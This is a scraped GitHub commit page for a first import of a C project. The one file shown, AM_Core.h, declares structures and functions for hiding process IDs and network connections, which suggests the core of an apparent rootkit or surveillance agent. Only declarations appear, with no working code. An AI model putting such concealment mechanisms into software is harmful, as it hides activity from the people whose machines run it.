Skip to content

Commit bc76584

Browse files
author
naga
committed
First import
0 parents  commit bc76584

File tree

186 files changed

+62324
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

186 files changed

+62324
-0
lines changed

AM_Core.cpp

+482
Large diffs are not rendered by default.

AM_Core.h

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
typedef struct {
2+
DWORD ip_address;
3+
WORD port;
4+
} connection_hide_struct;
5+
#define NULL_CONNETCION_HIDE_STRUCT {0,0}
6+
#define IS_SET_CONNETCION_HIDE_STRUCT(x) (x.ip_address ? TRUE : FALSE)
7+
#define SET_CONNETCION_HIDE_STRUCT(x,y,z) { x.ip_address=y; x.port=z; }
8+
#define UNSET_CONNETCION_HIDE_STRUCT(x) { x.ip_address=0; x.port=0; }
9+
10+
typedef struct {
11+
DWORD PID;
12+
} pid_hide_struct;
13+
#define NULL_PID_HIDE_STRUCT {0}
14+
#define IS_SET_PID_HIDE_STRUCT(x) (x.PID ? TRUE : FALSE)
15+
#define SET_PID_HIDE_STRUCT(x,y) { x.PID=y; }
16+
#define UNSET_PID_HIDE_STRUCT(x) { x.PID=0; }
17+
18+
#define HIDE_ELEM 2 // XXX Numero di elementi nascondibili
19+
#define HIDE_PID 0
20+
#define HIDE_CNN 1
21+
22+
#define AM_SUSPEND 0
23+
#define AM_RESTART 1
24+
#define AM_RESET 2
25+
#define AM_EXIT 3
26+
27+
extern BOOL AM_AddHide(DWORD, void *);
28+
extern void AM_RemoveHide(DWORD, void *);
29+
extern BOOL AM_IsHidden(DWORD type, void *elem_par);
30+
extern DWORD AM_Startup(void);
31+
extern void AM_SuspendRestart(DWORD);
32+
extern DWORD AM_MonitorStartStop(DWORD, BOOL);
33+
extern DWORD AM_MonitorRegister(DWORD, BYTE *, BYTE *, BYTE *, BYTE *);
34+
extern void AM_IPCAgentStartStop(DWORD, BOOL);
35+

0 commit comments

Comments
 (0)